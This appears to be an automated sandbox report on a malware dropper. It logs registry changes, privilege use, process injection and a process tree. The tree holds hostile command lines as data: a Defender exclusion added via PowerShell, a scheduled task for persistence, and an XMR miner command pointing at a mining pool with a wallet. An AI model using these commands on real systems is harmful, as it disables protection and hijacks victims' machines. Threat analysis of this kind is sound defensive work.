description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs sihclient.exe Key created \REGISTRY\USER\S-1-5-19\Software\Classes\Local Settings\MuiCache svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0" LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust sihclient.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = 99ebff004cc2ff000091f8000078d4000067c000003e9200001a6800f7630c00 LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1" LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs sihclient.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292114432" LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs sihclient.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365268" LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs sihclient.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4290799360" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365268" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "73" LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates sihclient.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292114432" LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates sihclient.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1" LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates sihclient.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89" LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs sihclient.exe Key created \REGISTRY\USER\S-1-5-19\Software\Classes\Local Settings\MuiCache\7\52C64B7E svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed sihclient.exe Key created \REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople sihclient.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 3872 powershell.exe 3872 powershell.exe 3532 WerFault.exe 3532 WerFault.exe 4672 WerFault.exe 4672 WerFault.exe 1848 WerFault.exe 1848 WerFault.exe 3872 powershell.exe 4304 WerFault.exe 4304 WerFault.exe 4808 WerFault.exe 4808 WerFault.exe 560 WerFault.exe 560 WerFault.exe 5844 WerFault.exe 5844 WerFault.exe 5964 WerFault.exe 5964 WerFault.exe 3560 3402997.exe 3560 3402997.exe 6068 WerFault.exe 6068 WerFault.exe 5472 setup_2.tmp 5472 setup_2.tmp 2528 WerFault.exe 2528 WerFault.exe 5676 WerFault.exe 5676 WerFault.exe 4056 WerFault.exe 4056 WerFault.exe 4896 8470279.exe 4896 8470279.exe 5588 1562203.exe 5588 1562203.exe 1452 WerFault.exe 1452 WerFault.exe 5968 WerFault.exe 5968 WerFault.exe 1204 1580734.exe 1204 1580734.exe 4788 802260.exe 4788 802260.exe 3592 WerFault.exe 3592 WerFault.exe 1456 Chrome 5.exe 1456 Chrome 5.exe 1840 2129644.exe 1840 2129644.exe 6100 WerFault.exe 6100 WerFault.exe 4112 services64.exe 4112 services64.exe 4144 explorer.exe 4144 explorer.exe 4144 explorer.exe 4144 explorer.exe 4144 explorer.exe 4144 explorer.exe 4144 explorer.exe 4144 explorer.exe 4144 explorer.exe 4144 explorer.exe 4144 explorer.exe -
Suspicious behavior: SetClipboardViewer 1 IoCs
pid Process 5768 6360626.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeCreateTokenPrivilege 1148 Tue118f55232e4.exe Token: SeAssignPrimaryTokenPrivilege 1148 Tue118f55232e4.exe Token: SeLockMemoryPrivilege 1148 Tue118f55232e4.exe Token: SeIncreaseQuotaPrivilege 1148 Tue118f55232e4.exe Token: SeMachineAccountPrivilege 1148 Tue118f55232e4.exe Token: SeTcbPrivilege 1148 Tue118f55232e4.exe Token: SeSecurityPrivilege 1148 Tue118f55232e4.exe Token: SeTakeOwnershipPrivilege 1148 Tue118f55232e4.exe Token: SeLoadDriverPrivilege 1148 Tue118f55232e4.exe Token: SeSystemProfilePrivilege 1148 Tue118f55232e4.exe Token: SeSystemtimePrivilege 1148 Tue118f55232e4.exe Token: SeProfSingleProcessPrivilege 1148 Tue118f55232e4.exe Token: SeIncBasePriorityPrivilege 1148 Tue118f55232e4.exe Token: SeCreatePagefilePrivilege 1148 Tue118f55232e4.exe Token: SeCreatePermanentPrivilege 1148 Tue118f55232e4.exe Token: SeBackupPrivilege 1148 Tue118f55232e4.exe Token: SeRestorePrivilege 1148 Tue118f55232e4.exe Token: SeShutdownPrivilege 1148 Tue118f55232e4.exe Token: SeDebugPrivilege 1148 Tue118f55232e4.exe Token: SeAuditPrivilege 1148 Tue118f55232e4.exe Token: SeSystemEnvironmentPrivilege 1148 Tue118f55232e4.exe Token: SeChangeNotifyPrivilege 1148 Tue118f55232e4.exe Token: SeRemoteShutdownPrivilege 1148 Tue118f55232e4.exe Token: SeUndockPrivilege 1148 Tue118f55232e4.exe Token: SeSyncAgentPrivilege 1148 Tue118f55232e4.exe Token: SeEnableDelegationPrivilege 1148 Tue118f55232e4.exe Token: SeManageVolumePrivilege 1148 Tue118f55232e4.exe Token: SeImpersonatePrivilege 1148 Tue118f55232e4.exe Token: SeCreateGlobalPrivilege 1148 Tue118f55232e4.exe Token: 31 1148 Tue118f55232e4.exe Token: 32 1148 Tue118f55232e4.exe Token: 33 1148 Tue118f55232e4.exe Token: 34 1148 Tue118f55232e4.exe Token: 35 1148 Tue118f55232e4.exe Token: SeDebugPrivilege 8 Tue11f251db82fb7b.exe Token: SeDebugPrivilege 3872 powershell.exe Token: SeDebugPrivilege 3196 Tue11141271fbe5877f.exe Token: SeRestorePrivilege 4672 WerFault.exe Token: SeBackupPrivilege 4672 WerFault.exe Token: SeBackupPrivilege 4672 WerFault.exe Token: SeIncreaseQuotaPrivilege 3872 powershell.exe Token: SeSecurityPrivilege 3872 powershell.exe Token: SeTakeOwnershipPrivilege 3872 powershell.exe Token: SeLoadDriverPrivilege 3872 powershell.exe Token: SeSystemProfilePrivilege 3872 powershell.exe Token: SeSystemtimePrivilege 3872 powershell.exe Token: SeProfSingleProcessPrivilege 3872 powershell.exe Token: SeIncBasePriorityPrivilege 3872 powershell.exe Token: SeCreatePagefilePrivilege 3872 powershell.exe Token: SeBackupPrivilege 3872 powershell.exe Token: SeRestorePrivilege 3872 powershell.exe Token: SeShutdownPrivilege 3872 powershell.exe Token: SeDebugPrivilege 3872 powershell.exe Token: SeSystemEnvironmentPrivilege 3872 powershell.exe Token: SeRemoteShutdownPrivilege 3872 powershell.exe Token: SeUndockPrivilege 3872 powershell.exe Token: SeManageVolumePrivilege 3872 powershell.exe Token: 33 3872 powershell.exe Token: 34 3872 powershell.exe Token: 35 3872 powershell.exe Token: 36 3872 powershell.exe Token: SeDebugPrivilege 3560 3402997.exe Token: SeDebugPrivilege 1072 PublicDwlBrowser1100.exe Token: SeDebugPrivilege 4692 2.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 5472 setup_2.tmp -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 5144 LogonUI.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 3956 wrote to memory of 4812 3956 setup_x86_x64_install.exe 77 PID 3956 wrote to memory of 4812 3956 setup_x86_x64_install.exe 77 PID 3956 wrote to memory of 4812 3956 setup_x86_x64_install.exe 77 PID 4812 wrote to memory of 4728 4812 setup_installer.exe 79 PID 4812 wrote to memory of 4728 4812 setup_installer.exe 79 PID 4812 wrote to memory of 4728 4812 setup_installer.exe 79 PID 4728 wrote to memory of 3548 4728 setup_install.exe 83 PID 4728 wrote to memory of 3548 4728 setup_install.exe 83 PID 4728 wrote to memory of 3548 4728 setup_install.exe 83 PID 4728 wrote to memory of 3564 4728 setup_install.exe 86 PID 4728 wrote to memory of 3564 4728 setup_install.exe 86 PID 4728 wrote to memory of 3564 4728 setup_install.exe 86 PID 4728 wrote to memory of 3568 4728 setup_install.exe 84 PID 4728 wrote to memory of 3568 4728 setup_install.exe 84 PID 4728 wrote to memory of 3568 4728 setup_install.exe 84 PID 4728 wrote to memory of 3012 4728 setup_install.exe 88 PID 4728 wrote to memory of 3012 4728 setup_install.exe 88 PID 4728 wrote to memory of 3012 4728 setup_install.exe 88 PID 4728 wrote to memory of 4896 4728 setup_install.exe 87 PID 4728 wrote to memory of 4896 4728 setup_install.exe 87 PID 4728 wrote to memory of 4896 4728 setup_install.exe 87 PID 4728 wrote to memory of 4348 4728 setup_install.exe 101 PID 4728 wrote to memory of 4348 4728 setup_install.exe 101 PID 4728 wrote to memory of 4348 4728 setup_install.exe 101 PID 4728 wrote to memory of 4536 4728 setup_install.exe 89 PID 4728 wrote to memory of 4536 4728 setup_install.exe 89 PID 4728 wrote to memory of 4536 4728 setup_install.exe 89 PID 4728 wrote to memory of 4548 4728 setup_install.exe 90 PID 4728 wrote to memory of 4548 4728 setup_install.exe 90 PID 4728 wrote to memory of 4548 4728 setup_install.exe 90 PID 4728 wrote to memory of 4028 4728 setup_install.exe 91 PID 4728 wrote to memory of 4028 4728 setup_install.exe 91 PID 4728 wrote to memory of 4028 4728 setup_install.exe 91 PID 3548 wrote to memory of 3872 3548 cmd.exe 94 PID 3548 wrote to memory of 3872 3548 cmd.exe 94 PID 3548 wrote to memory of 3872 3548 cmd.exe 94 PID 4728 wrote to memory of 4808 4728 setup_install.exe 93 PID 4728 wrote to memory of 4808 4728 setup_install.exe 93 PID 4728 wrote to memory of 4808 4728 setup_install.exe 93 PID 4548 wrote to memory of 3196 4548 cmd.exe 92 PID 4548 wrote to memory of 3196 4548 cmd.exe 92 PID 3012 wrote to memory of 8 3012 cmd.exe 100 PID 3012 wrote to memory of 8 3012 cmd.exe 100 PID 4348 wrote to memory of 1016 4348 cmd.exe 98 PID 4348 wrote to memory of 1016 4348 cmd.exe 98 PID 4348 wrote to memory of 1016 4348 cmd.exe 98 PID 3564 wrote to memory of 936 3564 cmd.exe 99 PID 3564 wrote to memory of 936 3564 cmd.exe 99 PID 3564 wrote to memory of 936 3564 cmd.exe 99 PID 4536 wrote to memory of 452 4536 cmd.exe 97 PID 4536 wrote to memory of 452 4536 cmd.exe 97 PID 4536 wrote to memory of 452 4536 cmd.exe 97 PID 4028 wrote to memory of 1148 4028 cmd.exe 95 PID 4028 wrote to memory of 1148 4028 cmd.exe 95 PID 4028 wrote to memory of 1148 4028 cmd.exe 95 PID 3568 wrote to memory of 1072 3568 cmd.exe 96 PID 3568 wrote to memory of 1072 3568 cmd.exe 96 PID 3568 wrote to memory of 1072 3568 cmd.exe 96 PID 4808 wrote to memory of 4632 4808 cmd.exe 103 PID 4808 wrote to memory of 4632 4808 cmd.exe 103 PID 4808 wrote to memory of 4632 4808 cmd.exe 103 PID 4896 wrote to memory of 4588 4896 cmd.exe 102 PID 4896 wrote to memory of 4588 4896 cmd.exe 102 PID 4896 wrote to memory of 4588 4896 cmd.exe 102
Processes
-
C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:3956 -
C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4812 -
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\setup_install.exe"C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\setup_install.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:4728 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"4⤵
- Suspicious use of WriteProcessMemory
PID:3548 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3872
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue11b9d76a96506.exe4⤵
- Suspicious use of WriteProcessMemory
PID:3568 -
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11b9d76a96506.exeTue11b9d76a96506.exe5⤵
- Executes dropped EXE
PID:1072 -
C:\Users\Admin\AppData\Local\Temp\is-ODLOI.tmp\Tue11b9d76a96506.tmp"C:\Users\Admin\AppData\Local\Temp\is-ODLOI.tmp\Tue11b9d76a96506.tmp" /SL5="$301D4,506086,422400,C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11b9d76a96506.exe"6⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4620
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue11d7385a978cc.exe4⤵
- Suspicious use of WriteProcessMemory
PID:3564 -
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11d7385a978cc.exeTue11d7385a978cc.exe5⤵
- Executes dropped EXE
PID:936
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue1109eec571ac.exe /mixone4⤵
- Suspicious use of WriteProcessMemory
PID:4896 -
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue1109eec571ac.exeTue1109eec571ac.exe /mixone5⤵
- Executes dropped EXE
PID:4588 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4588 -s 2926⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:3532
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue11f251db82fb7b.exe4⤵
- Suspicious use of WriteProcessMemory
PID:3012 -
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11f251db82fb7b.exeTue11f251db82fb7b.exe5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:8 -
C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"6⤵
- Executes dropped EXE
PID:2992 -
C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"7⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:1456 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit8⤵PID:3896
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'9⤵
- Creates scheduled task(s)
PID:4020
-
-
-
C:\Users\Admin\AppData\Roaming\services64.exe"C:\Users\Admin\AppData\Roaming\services64.exe"8⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
PID:4112 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit9⤵PID:2984
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'10⤵
- Creates scheduled task(s)
PID:4868
-
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"9⤵PID:5800
-
-
C:\Windows\explorer.exeC:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu2.nanopool.org:14433 --user=41o1Bi5waqLgbkV653RD7zSYeXSWRu1wnEDzPgFDFwntSnuRx7g4HbHPqNDGS6BW1bget6yyHyrPbBcVsdR6Ebxd843bMuK.add/password --pass= --cpu-max-threads-hint=30 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6O4DG/ZgkwoY7/pmBv4ks3wJ7PR9JPsLklOJLkitFc6Y" --cinit-idle-wait=5 --cinit-idle-cpu=70 --tls --cinit-stealth9⤵
- Suspicious behavior: EnumeratesProcesses
PID:4144
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe"C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe"7⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1072 -
C:\Users\Admin\AppData\Roaming\1562203.exe"C:\Users\Admin\AppData\Roaming\1562203.exe"8⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:5588 -
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 5588 -s 23169⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:5968
-
-
-
C:\Users\Admin\AppData\Roaming\6360626.exe"C:\Users\Admin\AppData\Roaming\6360626.exe"8⤵
- Executes dropped EXE
- Suspicious behavior: SetClipboardViewer
PID:5768
-
-
C:\Users\Admin\AppData\Roaming\2129644.exe"C:\Users\Admin\AppData\Roaming\2129644.exe"8⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious behavior: EnumeratesProcesses
PID:1840
-
-
C:\Users\Admin\AppData\Roaming\5899289.exe"C:\Users\Admin\AppData\Roaming\5899289.exe"8⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:3176
-
-
C:\Users\Admin\AppData\Roaming\1580734.exe"C:\Users\Admin\AppData\Roaming\1580734.exe"8⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:1204 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1204 -s 23929⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:3592
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Alfanewfile2.exe"C:\Users\Admin\AppData\Local\Temp\Alfanewfile2.exe"7⤵
- Executes dropped EXE
PID:2892 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2892 -s 2808⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:5844
-
-
-
C:\Users\Admin\AppData\Local\Temp\2.exe"C:\Users\Admin\AppData\Local\Temp\2.exe"7⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4692 -
C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"8⤵
- Executes dropped EXE
PID:6020 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6020 -s 2089⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:5676
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\setup.exe"C:\Users\Admin\AppData\Local\Temp\setup.exe"7⤵
- Executes dropped EXE
PID:4028 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4028 -s 6088⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:6068
-
-
-
C:\Users\Admin\AppData\Local\Temp\setup_2.exe"C:\Users\Admin\AppData\Local\Temp\setup_2.exe"7⤵
- Executes dropped EXE
PID:4900 -
C:\Users\Admin\AppData\Local\Temp\is-4DPH0.tmp\setup_2.tmp"C:\Users\Admin\AppData\Local\Temp\is-4DPH0.tmp\setup_2.tmp" /SL5="$10204,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe"8⤵
- Executes dropped EXE
- Loads dropped DLL
PID:5136 -
C:\Users\Admin\AppData\Local\Temp\setup_2.exe"C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT9⤵
- Executes dropped EXE
PID:5316 -
C:\Users\Admin\AppData\Local\Temp\is-DNEBQ.tmp\setup_2.tmp"C:\Users\Admin\AppData\Local\Temp\is-DNEBQ.tmp\setup_2.tmp" /SL5="$3023A,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT10⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
PID:5472
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\3002.exe"C:\Users\Admin\AppData\Local\Temp\3002.exe"7⤵
- Executes dropped EXE
PID:1532 -
C:\Users\Admin\AppData\Local\Temp\3002.exe"C:\Users\Admin\AppData\Local\Temp\3002.exe" -a8⤵
- Executes dropped EXE
PID:5752
-
-
-
C:\Users\Admin\AppData\Local\Temp\jhuuee.exe"C:\Users\Admin\AppData\Local\Temp\jhuuee.exe"7⤵
- Executes dropped EXE
PID:5256
-
-
C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe"C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe"7⤵
- Executes dropped EXE
PID:5388
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue11e4e580f2e8141a3.exe4⤵
- Suspicious use of WriteProcessMemory
PID:4536 -
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeTue11e4e580f2e8141a3.exe5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:452 -
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵
- Executes dropped EXE
PID:4292
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵
- Executes dropped EXE
PID:3092
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵
- Executes dropped EXE
PID:1444
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵
- Executes dropped EXE
PID:4060
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵
- Executes dropped EXE
PID:4972
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵
- Executes dropped EXE
PID:1456
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵
- Executes dropped EXE
PID:4780 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4780 -s 287⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:4808
-
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵
- Executes dropped EXE
PID:2896
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵
- Executes dropped EXE
PID:3936
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵
- Executes dropped EXE
PID:5164
-
-
